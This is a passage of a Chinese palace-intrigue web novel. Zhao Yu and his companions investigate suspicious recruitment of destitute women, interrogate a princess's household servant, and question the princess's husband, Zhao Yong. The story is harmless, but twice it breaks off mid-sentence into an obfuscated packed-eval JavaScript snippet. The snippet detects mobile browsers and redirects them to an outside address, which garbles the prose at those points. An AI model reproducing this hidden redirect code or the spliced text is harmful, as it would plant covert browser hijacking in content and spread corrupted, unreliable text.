柳密看了看,又看了看赵毓,点头,“有。” “谁呀,没听说呀!”温岭又琢磨了一下,“能被我赵叔认定是雍京第一幕,不是一般人啊!” 柳密到平淡,“我师妹。” 温岭,“那我这个姑可以呀!就是可惜,妇人不能考科举,这一身才华不能为官做宰的,只能回家带孩子做饭,也是浪费。” 柳密,“她到也没有整天带孩子做饭。” 温岭,“啊?” 赵毓,“你姑家的孩子整天到我那去吃饭,吃饱了我再给他包个食盒,带些肘子、小菜和馒头回去,你姑和她相公就有饭吃了。” 温岭,“柳叔果然清廉,似我姑这种等级的幕府,您都不管她一家三口的饭。” 柳密看了看他,没说话。 赵毓叹口气,“娃,你姑,她嫁的人就是柳大人。” “哦~~~~~”温岭长长惊叹一声,转而又说,“柳叔,像你们这种男人找老婆,都得要我姑这种惊才绝艳的,都不要那种闺阁之内只会绣花带娃做饭侍奉姑舅的,是吗?” 柳密看着他,“师妹与我青梅竹马,岳父老泰山于我有大恩,谈婚论嫁的女子我不认识旁人,所以于我,无所谓择妻。” 温岭,“哦。” 柳密,“温岭,你方才说‘你们这种男人’,那么,除了我,这个们,还有谁?” 顺着这话,温岭看向赵毓,柳密也看向赵毓。 赵毓,“……” 安静,不太合乎赵毓性情的安静。 清风抚过树梢,沙沙作响,仿佛沙漏在流淌。 一下,两下,……,很多下。 文湛回来了。 他看了一眼这边,赵毓连忙过去,柳密和温岭则没有动。 “怎么回事?”走近了,赵毓低声问了一句,“这是看到谁了,怎么还能让你打出自己的暗语。是进奏院的人,还是雍京禁军?” 文湛轻声说,“是清河长公主府的家奴。” 赵毓一愣,——别说,居然当真果然是‘自己人’。 清河长公主与赵毓同年,先杜贵妃长女,外公就是当年文湛的头号政敌首辅杜皬。她十三岁被赐婚,夫婿是汝南侯嫡次子、驸马都尉赵庸。赵驸马如今“摄行庙祭”,说白了就是领着高爵厚禄的虚职,专管在宗庙念经烧香。 他和吉王还是有些不同。 吉王叔好歹是姬姓宗室,职责更重一些,管烧猪肉。 不过,…… 赵毓异常疑惑地看着文湛,“陛下,您是怎么认得长公主府的家奴?八竿子打不着呀。我都觉得,您可能连长公主是个什么模样都不太记得了。” 文湛,“去年咱俩从绮镇回来,你讽刺我不记得长姐,所以,今年端午,我生辰之日,就下旨将姐妹们和帝婿们都请进大正宫,挨个、仔细、认认真真地,认了个全。” 赵毓嘴角不太受控地扯,“……呵,……呵呵。” 文湛,“不过识得清河长公主府家奴,却不是这次。此家奴出身于进奏院。” 赵毓,“隶属宁淮侯?” “不。”文湛,“他是杜皬为清河长公主置办的嫁妆。长公主府也好,兰芝社也罢,总之不会隶属崔姓三等侯。” “……诶。”赵毓也不会再说文湛肚腹中有码头,这就是没影儿的事,“咱怎么办?他应该认识你也认识我。” “这不用担心。”文湛说,“我已经把他打晕,放那边的树底下,用落叶掩盖了。” 赵毓,“呃……” 文湛,“距离他醒,我们可能就只有两柱香的时间,如果你不想杀人的话。” 175. 175 175 文湛同赵毓说完,径自走过来,先对温岭说,“你去找你赵叔。”随后,则说,“麻烦柳先生留在此处,与我一同待一时片刻。” 柳密,“是。” 闻声,本来走了两步的温岭又退了回来,来回看了看文湛和柳密,“柳大人认得我六叔?” 文湛没说话。 柳密不能不说话,“呃,诶……” 温岭,“……” 赵毓过来扯他,“你六叔身上有武器,有个万一,他可以保护柳大人;至于你,得跟我走,看看靠着你这脸蛋子能不能混进去。” 事实上,他们是混不进去的。 这个院子里,看起来人来人往,其实里外泾渭分明。朱仙镇来的大姑娘小媳妇们和她们的家人们都聚集在外院,树荫下花丛边摆放着一些茶水小点,众人纷纷享用,一时之间,满院子唧唧喳喳。 温岭托着一个小瓷盘子,盛放着桂花糕,走到赵毓身边,“叔,往那边瞧什么呢,这么聚精会神的?” “我数着,看进去几个人了……” 赵毓余光扫了一下温岭的盘子,像是看见什么诡异的东西,立马一回头,看见六、七块桂花糕小山一样堆放在温岭的盘子正中|央,顶上还盖着一层甜香的槐花蜜! “温岭,你见过哪家姑娘一次吃七块桂花糕?人家都是喝一下午茶水,只吃一小块。你一下子叠了这么多,不知道还以为猪八戒来了呢!” “这还不够我塞牙缝的呢!”温岭嘀咕,“叔,别说这小事儿了,你琢磨出来怎么混到后院去了吗?” 赵毓长出一口气,他心中暗自算了算,两炷香的时间怎么都不够,他躲在一棵大榆木后面,等了多半柱香,只看见两个妇人进后院。他说,“……头一位看着像是嫁过人,头发梳成髻,衣裙洗得干净,就是有些旧了,后面的裙子角还有一块补丁;至于第二位,没嫁人,人看着挺干爽,衣服罗裙也不错,头发上还挽着一根木簪子,虽然不是很名贵,但是雕刻着山茶花,样式精巧。” 正巧不巧,此时,有个喽啰又领着一妇人进入那扇门。这次的人,衣服半新半旧,没补丁,也没有巧思,似乎放在镇子上能融入人流,放入山林中能成为山珍,赵毓抓耳挠腮,也着实看不出个所以然来。 温岭把堆山一般的糕点吃了一半下肚,“叔,像她们这样的人家,都是做什么的?” 赵毓,“家里做什么的?” 温岭,“对,她们家里是种地的,还是行商的,还是读书的,又或者是遭了难的,有什么过不去的坎?反正就是家里着急用钱。” “她们家里看着都像是正经人家,没有捞偏门的。不过,温岭。”赵毓,“你怎么知道人家一定是着急用钱,就不能是连玩带耍的,顺便弄些散碎银两?” “赵叔您常年在西北。”温岭则说,“那里和西疆打了几百年的仗,各村各部族又互相嫁娶,说实话,那里的郑人女子都像番邦婆子了,混不吝。咱京畿这里不同,这里的妇人矜持,但凡家里今天还揭得开锅,绝对不会抛头露面。” 赵毓,“不至于吧……” “您仔细看看,这些妇人们,也就在这说说话,没有哪个真往后面走的。”温岭,“叔您别忘了我是干啥的?我就是雍京地头蛇,还在顺天府衙门口当差,这些事儿门清!” 赵毓又扫了扫那些热热闹闹的大姑娘小媳妇们,指着其中一个吃得不亦乐乎的说,“看那位,和你吃相一样,这个一准儿今天揭不开锅了。” “不!”温岭则说,“她吃成这样,估计明天早饭都吃回来了,这个是明天揭不开锅的。赵叔,您除了看她们还得看看她们身边的人,就是一起来的姐妹啊,长辈啊,或者男人啥的,也都得是一脸落魄相。” 赵毓觉得温岭说的很有道理,顺着这个想法,再看了看,说,“……今天晚上就没米下锅了,……,还有,……一起来的,……” 他刚才总觉得有点什么不对劲的地方,但是这个想法又太飘忽,他抓不住,此时灵光一现! 赵毓,“她们都是孤身一人,周围没有同伴!” 此时,虚空中两炷香燃尽。 院落的后面是一片密林,临时搭建的围墙圈了几稞参天古树,落叶几乎有半人厚,极隐秘。 赵简转醒之后,立刻从堆叶烂泥中坐起来,看见赵毓就蹲在他面前,正看着他。随后,赵毓一抬手,一抹黑色腐土在赵简脑门上画了一个万字符,半闭双眼,口中念念有词起来。 赵简原本姓江,自从他随清河长公主嫁入赵氏,就改姓了赵。驸马都尉赵庸家族为太原士族,与赵毓的本家(如果当年没有被杀绝)一千年前倒是同宗。 柳密就站在他旁边,听着赵毓用一种极古老极难懂的语言诵念。这是岐山深宫大祭祀在皇族祭天大典上才会使用的诵念。虽然秉承“子不语”,但是他也懂“国之大事,在祀与戎”,对于皇族这种带着古老杀戮气息的仪式,他作为臣子,也保留着一份敬畏,只是…… 赵毓的声音,——觚不觚,觚哉!觚哉! 柳密越听越狐疑,因为,他居然可以听懂了。 赵毓扯的是《论语》! 果然。 赵简也说,“大殿下,别装蒜了,这不是祭祀施法。” 此时,赵毓方才收了架势,“呦,让你听出来了。我还觉得给你施点真言咒,让你自己把实话说出来,省得我费劲了。” “您这念的是《论语》!根本不能施法!”赵简脑袋还是一懵一懵的,他向后挫了挫,靠在遒劲的树根上,“当年在东宫读书,除了您三天打鱼两天晒网,一背《论语》就打呼噜,其余的人,不要说诸皇子王孙,就连伴读的内宦,哪个不是将孔圣人的言语倒背如流?” 赵毓看着他就是乐,“咱自己人,有的就真信这个,再说,《论语》还不能施法呀,我觉得这玩意儿最能施法了。” 赵简则问,“方才是谁打晕了我?” 赵毓,“自然是我。” “不,不是您。”赵简看着他,“一千多年了,能承袭福泽在大正宫读书的王族贵胄,哪个不是文武兼修?只有您,大殿下,先帝溺爱失了准头,再加上您偷懒耍滑,硬生生瘸了‘武’这一门。即使这些年在西北您勤学苦练,也许在骑射上有所精进,但是端午那夜,您被前爱宠伤到筋骨,如今是无法仅凭借单手之力伤到我的。” 说着,他又看了看赵毓身后的温岭,“温公家的那位小公子?” 温岭,“呃……”他觉得这个描述极陌生,似乎是他,又似乎不是。不过最让他觉得惊奇的是,眼前这个半死不活之人似乎对自己这套诡异的装扮,没有半分惊讶。 赵毓则说,“是他?” “也不是。”赵简,“温公向来使右手,没听说他家小公子叛逆,自然也不会用左手了。” 赵毓,“总不会是柳大人吧。” “自然更不是。”赵简,“柳总宪文笔如刀,却是地地道道的文官,即使自幼耕读,比一般四体不勤五谷不分的书生强悍一些,左手力量也不过拎一条云腿。大殿下,你们一行不止三人,还有第四人。” 赵毓则笑了,劝他,那声音温柔绵细到都能超度亡灵了,“老简呀,做人呢,难得糊涂,有些事情如果非要弄个明白,容易要了命。” 赵简一哼,一冷笑,不置可否。 赵毓,“老简啊,你原本就是自己人,如今更是我长姐的心腹,咱们明人面前不说暗话,你到这里究竟有啥目的,还有,这里神神鬼鬼的,到底在干啥?” 赵简,“我要是不说呢?” 赵毓,“那我直接去清河长公主府,问我姐去。不过呢,老简,你也知道,我和我姐从小一起长大,她出嫁,还是我送的嫁,驸马都尉赵庸都被我喝趴了。这么多年风起云涌的,也没影响我们姐俩的关系。真要是等我上门,我可不定怎么说话,到时候,我姐是否给你留条性命,那可就没准儿了。” “大殿下别吓唬我。”赵简则说,“长公主未必肯见您。” “诶呦!”赵毓,“这话怎么说的?” 赵简,“沈氏长女,自幼与我家长公子订有婚约。” 赵毓没听明白,“那你的意思是,我没给他们送订婚贺礼,我姐挑我理了?不对啊,这送礼,怎么也得等你家八抬大轿娶人家沈姑娘进门再说呀!” 他说着,还回头问问柳密和温岭,“你们说是不是?” 柳密没说话,温岭则点头,“对呀,对呀,都是这么个礼。” 赵简,“兰芝社沈熙载,沈氏。” 赵毓一愣,随后叹气,“不是我说我姐,她娘先杜贵妃本来就跟兰芝社牵扯过重了,如今这儿女亲家订的又是兰芝社的闺女,就不怕麻烦吗?北方有几户百年士族,西北北境诸多藩镇,还有,她娘家姬姓宗藩掌实权的也不少,哪家都有好姑娘,挑个儿媳妇不难。” 赵简,“所以大殿下就撬走沈氏,为自己所用吗?” “啥?”赵毓懵。 赵简,“沈氏退婚的时候说,大殿下看中了他家的姑娘,要同沈熙载结秦晋之好。” 赵毓,“……” 温岭,“叔,这就是你的不对了,明明身边已经有我婶儿了,你不能看人家不合适做你明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729033|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媒正娶的正妃,就整这么一出!和亲外甥抢女人,不合适,真不合适!” 赵毓怒,“胡说八道!” 赵简则问柳密,“总宪大人一向刚正不阿,此时难道不应该弹劾祈王滥权,强夺臣妻?” 柳密则平淡回答,“这样的事,宗正寺自有法度,大宗正在,轮不到我越俎代庖。” 赵简,“难不成柳总宪也徇私?啊!诶呦~~~~~~” 赵毓抬右手对着他脑瓜子就是一拳头,“老简,我警告你啊,别对着柳大人信口雌黄。” 说着,趁着他还懵,右手揪住他的领子,想要拽他起来,扯了两下,当真扯不动。 温岭见状,伸手帮忙,将赵简按到树上供赵毓问话一边还叹气,“诶~~~~~~~” 赵毓,“你们挑拣的妇人都是着急用钱的孤女,出的价钱不低,到底想干什么,拿钱买人命?别忘了,散花溪涧这里明面上是朱仙镇,其实已经进入到南苑地界,陛下亲临猎场,王族领地任何阴私皆为大不敬,以谋逆论处,想活命就说实话。” 谁料此时,外面已经注意到树荫这边的动静,有几个人高马大的喽啰手中按刀过来,呵问,“什么人在那边?” 赵简,“大殿下,您想顺利出去,还是此时此刻就想得到谜底,做个选择吧。” 赵毓则说,“再滑头,我现在就掐死你,信不信?” 他这么说着,手指当真扼住赵简的咽喉! 只是两个人的距离过于近了,赵简忽然向前一探脖子,张开嘴!温岭被吓了一跳,他以为这个人狗急跳墙,要啃赵毓耳朵发疯,于是反手揪住赵毓的胳膊,将他向后带离两步。 谁承想赵简还是咬下他几根头发,抿了抿就吐在地上,“大殿下之前一直用白昙花熏香,何时更换了迦楠?” 迦楠香,只为帝王所用。 温岭距离赵毓很近,方闻到他头发内散着一股奇异的香。 馥郁,却如清水,悠远霸道,余味寒凉。 似乎大郑千年礼乐征伐都凝在这一抹幽香当中。 安静。 对于赵毓来说,这可是非同寻常的沉默。 他不解释。 白昙花香料是婆罗尼赫昙花,只产自珊瑚海的一座小岛上,一万人,一年,死死盯着昙花盛开,也只能炼制半盒,全部进贡到雍京,先帝将这些全部给了赵毓。稀世之珍,皇长子的尊荣和先帝的宠爱。 可迦楠不同,它稀有而禁忌,代表着无上的权势。 在温岭看来,这对于赵毓是好事,至少表明,他当真是“实权”亲王。 只有微音殿重臣,经年累月御前参政,才能…… 不对! 温岭忽然意识到古怪:要说微音殿重臣,柳密也是,可是他身上就没有这股诡异的幽香。迦楠只在皇族祭天大典上被焚烧,这近似是外人,依旧是亲贵大臣,能接触到迦楠的唯一时机。其余,它则被用来熏染皇帝的衣袍,丝绢,寝殿、被褥,画轴和书卷,等等一切近身之物。 赵毓头发丝中渗出的迦楠香气,究竟到底是哪来的? 似乎过了很久,外面的喽啰逼近,赵毓就愣是没有任何声音。 赵简忍不住,开口,“我活不了了,是吗?” “到也不一定。”赵毓也开了口,声音依旧很温和,“不过你得说清楚,为什么你以一种‘不想活了’的歇斯底里试图激怒我,甚至是想要我当场杀你灭口,这个目的到底是什么?” 赵简,“大殿下现在就想知道?” 赵毓,“我早上吃得挺好,晌午也不饿,我不着急,有的是时间。” 赵简,“可是,那些妇人却未必有时间。” 闻言,赵毓一挑眉。 赵简,“只要让他们知道这里出了问题,所有人都会被灭口。” 赵毓,“那我就算此时放过这个问题,那些妇人不还是要被灭口吗?” 赵简,“时过境迁,她们或可留一命。” 赵毓盯着他,忽然后退一步,“温岭,架着他,走人!” “啊?”温岭。 “对!”赵毓伸手招呼柳密,示意他一同走,“我怕他一会儿被吓得脚软。” 温岭,“呃,不能吧!我看他挺凶残的。” 饶是这样说,温岭还是依照赵毓的吩咐,架着赵简。没成想,一到外面,他以为“凶残”的赵简果然脚软了,一瞬间委顿于地的下坠,把温岭连累到踉跄,差点摔跤。 可是,这里什么也没有。 只有六叔,隔着赵毓的肩,看了过来。 竟如千秋暮雪裹雍京。 176. 176 176 温岭架着赵简,而此时温岭的装扮是个壮硕的少女,并且出去的时候,赵简也没有示警,守住外围的几个人一对眼色,以为是赵简自己挑中了一名女子,自己带走享用了,也就没再查问。 结果刚到外面的街上,却看到温挚派了一个管事,候在旁边的一个茶棚里。 一见他们,连忙走过来。 “少爷。”此人自然认得温岭,只是对于他这个装扮还有架着一个陌生男人感觉到意外,却没有过多在意,因为他还有更加重要的事情。他转而向赵毓,“表少爷,呃……,表老爷?” 赵毓摆手,表示这个时候不要管这些琐碎。 那人赶紧凑他耳边,“黑市那三家夫人已查到底细,就是兰芝社、沿河四族,还有,驸马都尉赵庸。” 听闻,赵毓下意识想问一句‘清河长公主可牵扯在内’?不过,他看了看温岭架着的赵简,这句话已经不用出口了。 “就你一个人来的?” “带了几个家丁护院。” “你把这人……”赵毓一指赵简,“带给温姐姐看管。好吃好喝好招待,只要他不想死,那就护着点,不过他要是想死,也别拦着。” “啊?”温家管事虽然觉得蹊跷,不过既然夫人吩咐要听赵毓的话,他自然不会质疑,只是回应了一声“是”,连忙照办。 等着周围没人,赵毓左思右想,忽然对柳密说,“柳大人,得麻烦你回猎场一趟,找我燕王叔,哦,不,直接找奉宁!” 他边说,边摸了摸自己的袖口,领口,还有腰间,似乎在找什么东西,“我怎么记得早上出门的时候装着呢……” 柳密安静听着。 “调些人手。”赵毓,“和奉宁明说,要我在西北的旧部。这些人都是我亲手带出来的,骁勇善战,并且和雍京这些贵胄也没个啥牵扯。” “叔!”温岭忽然哀嚎一声,随即赶紧捂嘴,压低声音却咬牙切齿,“你不想活了?!” 赵毓,“啥?” 温岭,“你都说了,陛下亲临猎场,你居然胆敢在主上眼皮子底下调兵,还调动你西北旧部,等同造反!谋逆十恶不赦,会被族诛的!” 赵毓,“呃?” 温岭,“当年的景王,那可是叔祖一辈的大人物,在军中是何等的权势,就因为在猎场调兵,被主上下诏诛杀。一族几百号人,根毛都不剩了,现如今景王府的外墙长满了狗尾巴草,都快坍塌了。” 赵毓,“……” 温岭,“叔,听我的,别走这一步。想要人手,我去找人。我是正经顺天府的差官,在朱仙镇找衙役也是名正言顺。他们都是当差吃饭的普通人,和那些贵胄也没什么牵扯。” 赵毓,“大外甥你别急,这事儿,不是你想的那样……” 温岭,“叔,你就不想想自己,也得想想柳大人!咱雍京好不容出个大青天,别让你再给连累的折在这儿了。” 柳密依然安静听着。 赵毓叹口气,双眼望天,翻了个死鱼眼,手却还在自己身上摸了摸,嘀咕道,“到哪里去了?” 此时,文湛从自己腰间解下一个荷包,黑色的缂丝底子,绣着一条油光水滑的烤鸭子腿,递给赵毓,叮当作响。打开,里面是赵毓平时吃面用的一双象牙包金的短筷子和一个喝汤用的元宝金勺,一把赵毓平时吃果子用的锯齿黄金小叉子,一柄切点心用的黄金小刀,还有一个油纸小包,包裹着早上文湛细心烤的六颗红枣蜜饯,留着给赵毓磨牙用的。而这些最下面,则是那枚玄铁虎符。 温岭,“……” 赵毓拿了颗红枣放嘴里,随后,将虎符翻了出来递给柳密,“我们在温姐姐那里等。” 文湛则将荷包又收了回去。 “是。”柳密接过去玄铁虎符,郑重抬手向上微推,做出一个天揖的拱手礼,即刻离去。 温岭有些糊涂。 赵毓一扯他,往回走,“大外甥,叔教你一个在雍京混得好的不二秘诀,就是,天塌下来,让大个的顶着。你看,柳大人一直没说话吧,人家可是两榜进士出身,微音殿伺候笔墨,官至左都御史,如今更是新任户部尚书,堂堂二品大僚,不比你一个小吏更能扛事儿吗?” “呃……”温岭总觉得哪里不对劲儿,可是他又说不出来,最后想了想,“叔,我忽然觉得雍京对你那些传闻可能不是空穴来风。” 赵毓,“呃……,我我又怎么了?” 温岭,“风月无度。” 赵毓,“……” 回到温挚在朱仙镇的小院,赵简被押了回来,放在一间屋中,留着一个人看管,也准备了一些饭食,只是温挚还在外面,尚未归家。 厨子连忙也给他们准备了一桌茶饭。温岭一边吃饭,一边偷看文湛,发现他可真忙。一会儿给赵毓剔了一块鱼的刺,一会儿又剥开一块排骨的骨,等到了蟹粉狮子头,温岭以为他终于没得忙了,结果发现文湛用带锯齿的小勺子,给赵毓切了一小块肉丸子,直接放他饭勺子里了! 感觉到温岭的目光,文湛看了他一眼,温岭连忙说,“呃,那个,别总是吃肉,我娘这里的厨子做的菜蔬也不错。叔,你们吃这个,……”他说着,筷子指了一下一个盘子,“这是龙孢芽,深山中下过雨,枝头才发一两枝,名贵倒是不名贵,就是极难得。” 赵毓倒是听劝,当真吃了一根绿呼呼的枝芽就放下了筷子,“我吃饱了。” 文湛,“我给你冲茶。” 赵毓拦了一下,“不忙,你先吃饭,我也等会儿,让这些鱼肉排骨什么的都消化消化。” 文湛则说,“茶水先准备着,一会儿还可以再用两块点心。” 等他起身,到外面的紫藤架子下的石桌上拿茶具,温岭凑到赵毓身边,“叔,你怎么认识的柳大人?” 赵毓看着他,“他儿子要读书,就送雍南公学那里去了。我那里不要束脩还管饭,这一来二去,不就认识了呗。” 温岭,“就这么简单?” 赵毓,“能有多复杂?我们这样的人,你也知道,不能轻易随意故意有意结交外姓重臣。” 温岭,“可他为了你,敢在主上眼皮子底下调兵。” 赵毓,“哦,十年前,是元熙三年吧,他还抄过我家呢!几十万两的东西,全部进了户部,只给我家留了二百五十两银子过年。” 温岭,“啊?” 赵毓,“这世上的事,有些看着奇形怪状,未必就是徇私,柳密铮铮也不是虚名。至于今日调兵一事,虎符是陛下亲授,柳密奉诏,仅此而已。” “呃……”温岭听的不是很明白,不过此时文湛回来了,他也没再追问。 文湛手中一个小托盘,一甜白瓷的茶盏,盛放着已经滤好的白毫银针,还加了两粒龙眼。 在一起吃了几顿饭,温岭一直觉得赵毓的口味很奇怪。他原本以为像祈王这种西北宿将,一定顿顿烈酒加牛肉,随便就能啃掉一根烤羊腿,结果赵毓不但饭量不大,而且口味清淡,甚至还带些甜,三茶六饭外加点心,出门都得带着吃东西的家伙事儿,还装着磨牙的小食,娇贵中都带着矫情了。结果他身边这个,诶,也不知道是个啥人,一直小心侍奉,丝毫不觉得有异,他看着都觉得娇贵外加矫情了。 别说,这两个凑一对儿,还当真是瞎猫碰到死耗子,破锅配个外锅盖,挺那个啥的。 温挚回来了,同她一道回的,还有位身份特殊的贵客。 那位贵客一直用暗色绣金的披风严密裹着脑袋,自温家的马车上一下来,赶紧进了大门。旁人根本看不清楚此人真实的装扮,只能从他高瘦的身材上分辨出来,应该是个男人。 温挚将他安排在竹林深处的一处茶室,这才回到几重院落之外的内花厅。 赵毓他们正在此处。 “大殿下。”温挚将外面的罩衣脱下给身边的女侍,就吩咐她们退下了,“有人想要同你叙旧。” “谁?”赵毓喝了文湛给泡的茶,果然肚子里面有些空地儿了,就撕了小块桂花糕,“别是我那个姐夫吧。” 温挚点头,“他看见是我,就猜出我这里有猎场过来的人。不过,我只说了你在,他就要见见你。” “成。”赵毓吞咽了米糕,文湛垂手帮他掸了掸衣服上垂落的糕渣,他这才站起来,“我们今天刚从散花溪涧抓了他老婆的家奴,正想问问是个啥说法呢!” 温岭一听也站起来,“我也去!” 赵毓,“嗯,一起去,热闹。” 他们走,文湛不动。温岭疑惑,“六叔不去凑凑热闹?” 文湛此时方重新拿起来筷子,“不去,我吃饭的时候,喜欢清净。” 赵毓则揽住温岭的脖子,扯住着他向外走,“你六叔要是去了,这热闹就太大了。我上一次看这种大热闹还是十年前,当时柳密带着人查抄原甘宁总督祝惟演的家,我就看了小半夜的热闹,特别好玩儿。回家之后,我还吩咐厨房煮了一碗烤鸭架子汤面,结果面还没煮好,柳密就带人来抄我家了。” “呃……”温岭,“既这么着,六叔还是安静吃饭吧。” 清河长公主夫婿,驸马都尉赵庸。 温岭一看到他,心中当即叹了一声,——好看! 这位安静端坐茶室,门外秀竹林立,他仿若林海水渊旁的太湖石,刚劲却瘦透,不再少年时,却依旧俊雅,映着茶香,带着一抹留白似的余韵。 对比六叔那种瘆人的,极具攻击性的,甚至具有统治力的清俊,眼前这个驸马才是活人美男子啊! 可惜。 驸马赵庸一见赵毓,“小舅子,这次我可是真冤!” 赵毓一边打着哈哈,一边坐他旁边。侍从奉了茶盏,赵毓却不喝,说,“姐夫,不是我说你,你这属于夫纲不振哪!牵扯天大的麻烦,还能由着我姐那性子胡来?” 驸马一讪,“别拿这话挤兑我,小舅子,夫纲这种东西,咱俩谁也别说谁。” 赵毓一乐,“我总比你强。” 驸马,“别说你老丈人小舅子已经下了诏狱,这事对你的牵累,只比我大,不比我小;就说你身边那个小白脸的事儿,我也听说了,这次到南苑,你也把他带来了吧。前日在微音殿上刚因为高昌王的事惹怒陛下,如今你在他眼皮子底下瞎折腾,不怕主上把你杀了祭旗?” 赵毓手拿茶盏,温岭却看到他眼神极微妙的一凝,随后立即恢复了一副打哈哈的模样,“那我姐既然都知道我身边不缺人,怎么就能把你家儿媳妇硬塞给我呢?” 温岭一愣。 驸马却说,“你都知道了。” 赵毓,“沈熙载那个人,我是不太了解,但是我们同兰芝社也算折腾了几百年了,他们的行事准则、想法和偏好,我闭着眼都能猜出来。像我和他家大丫头,这种八竿子打不着的事儿,就能把女儿从小定的亲给退了,这种不留余地也落人口实的做法,可真不像兰芝社的作为。” “人家兰芝社把权谋玩到炉火纯青,想要割你一斤肉,不亲自操刀子,绝对让你自己割,然后哭着喊着求着他们收下。像这种把儿媳妇给退了,后续应该就是上门逼我就范,也真只有长公主能做的出来。” “但凡换个弱一点的,都过不了兰芝社妇德那一关。没等着事情做成,人家敢逼自己闺女自尽以全名节,反手就能把始作俑者剁了,祖产再分一分。父兄在朝中挣一份名望,家里增添一些土地财货。” 驸马,“小舅子,这事真不赖我,我做不了主。” 得!温岭心中暗息叹,再好的美男子,少年时如珍珠,娶了妇,日子长了,就成了死鱼眼珠子了。 赵毓则笑了一声,才说,“这事儿做不了主就做不了主吧,也不是什么大事儿,那,姐夫,咱就说些你能做主的。” 温岭以为赵毓会继续问,可是他却一言不发,开始安静喝茶。 赵庸也不开口。 过了好一会儿,赵毓喝完了一盏茶,又开始吃果子了,赵庸才说,“你想知道什么?” 赵毓,“散花溪涧的事儿,能说吗?” 赵庸,“那事儿我说了不算。” 赵毓点头,“成,咱换个。姐夫你亲自去的黑市,肯定能做主,到底怎么回事儿?” 闻言,赵庸很是震惊,“你居然不知道?!” 赵毓,“我又不是神棍。” 赵庸看着他,忽然站起来,“我想起来,家里还有事儿,小舅子你也忙,我先走一步。” 说完果然迈步就走。 “姐夫!”赵毓叫住三步已到门口的赵庸,“我们元承行之前是西北道,兄弟们刀口舔血,但是精气神不散,不到下桌,谁也不知道最后一张牌是什么。一次下注,赌输了,无所谓,只要能翻牌,东山再起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729034|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是没可能。我表哥当年下诏狱,被打折了一条腿,那个光景,恐怕谁也没想到,他还有敕封王侯的这一天。” 赵庸转身看着他。 赵毓又笑了,才说,“姐夫当年尚主,恐怕也是看中了我姐母亲先杜贵妃背后的兰芝社,可惜……” 赵庸也乐了,“小舅子,这事你也别挤兑我。杜氏是没落了,你也没落着好。不管怎么说,你姐依旧是大郑长公主!你呢,祈王的尊号可还在?” 温岭听着都倒吸一口冷气,他没想到这驸马如此不留情面。 可是赵毓却不恼,径自笑出声,而且颇为开心,让人再奉一盏新茶,这才端着瓷盏说,“去年,随侯家那世子请我吃饭,就在烟雨楼顶层。这个地方好啊,特开阔,极目远眺,一切尽收眼底,甚至遥遥可见大正宫。石慎和我说了一句话,当今陛下登基,我永远都有后路。” “姐夫,我保不住祈王的尊号,并不是我做错了什么,而是我的确不是先帝的亲生儿子。但有一件事儿,至关重要,可总是被忽略掉。” 说着,他将手中的茶盏放回桌面上,不轻不重,却一锤定音的力道。 “我是从龙功臣。” 半晌,赵庸重新坐了回来,“成,小舅子,我把能说的都告诉你,你可得承我的情。” …… 驸马赵庸离开,赵毓亲自在二门相送。命人找了一辆掩盖异常严密的马车,让他在院内登车,遮挡好一切,赵毓这才命马车夫驾车驶出温家。 “叔,驸马就说了这些?”温岭跟着赵毓回后院,一边走一边问,“我怎么觉得他说话云山雾罩的。” “不下诏狱。”赵毓则说,“也只能问到这一步了。” 温岭,“诏狱,……呃。” 刚到后院的门,温挚走出来,见着赵毓说,“我去迎琅琊郡王。” 赵毓,“温姐姐不用些吃食?” 温挚,“方才陪主……用了一些。” 赵毓点点头。 温岭,“……” 温挚,“你们折腾了一晌午,休息一下,估计晚上还有事情做。” “好。” 赵毓答应,送温挚离开,就拎着晕头晕脑的温岭进院。 院落中,紫藤花架子下,文湛在煮茶。 等赵毓和温岭坐在石凳上,文湛将一盏茶推到他手边,赵毓却摆了摆手,“不成,我不能再喝了。方才和赵驸马装蒜,我喝了好几盏茶水,现在还撑着呢!” “叔。”温岭凑过去,“您方才那个样子真带劲!尤其是一拍桌子,一瞪眼,——我是从龙功臣!当真是威震西北的架势,把驸马震的都不敢说话了。哈哈哈哈!” “不过话赶话,叔,我听了驸马和您说的,一直有个疑问:您同陛下自小一起长大,后来也一起在东宫读书,您说自己有从龙大功,这是大实话啊,您是陛下嫡系中的嫡系,可是,为什么那些人总是觉得,陛下会因为您的一些风流小事而与您生嫌隙呢?” “我觉得,陛下不是那样的人。” 赵毓抬手,摸了摸眉毛,“温岭,私下议圣,是死罪。” 温岭抓耳挠腮,很是想要说话的样子。 此时,文湛又倒出一盏茶水,推给温岭,“没事,就我们三人,不外传,说说也无妨。” 闻言,温岭如蒙大赦,接了茶水,连忙说,“多谢六叔。” 随后又凑到赵毓这边,“叔,您看,我不是天子近臣,可我温家是呀!从小到大我也听到过一些事,我就觉得,主上当真是天子,大郑之主!即使是一些私密的信息,都没有人说他多疑,反复无常,刻薄寡恩。天子驱百官是正事,可没人说他驭百官如家奴,足见他心胸极宽广。” 文湛也给自己倒了盏茶,端起,安静喝了。 赵毓点头,“嗯,主上宽厚。” 温岭,“厚不厚,不好说。不过我是觉得,主上像是山川河流,日月星辰。” 赵毓听着忽然想笑,“你是说他没人味儿?” 文湛将手中的茶盏放在石桌上,竟然是铿锵其鸣,似金石之声,——果然,温氏厚重,常用的瓷器都是稀世之珍! 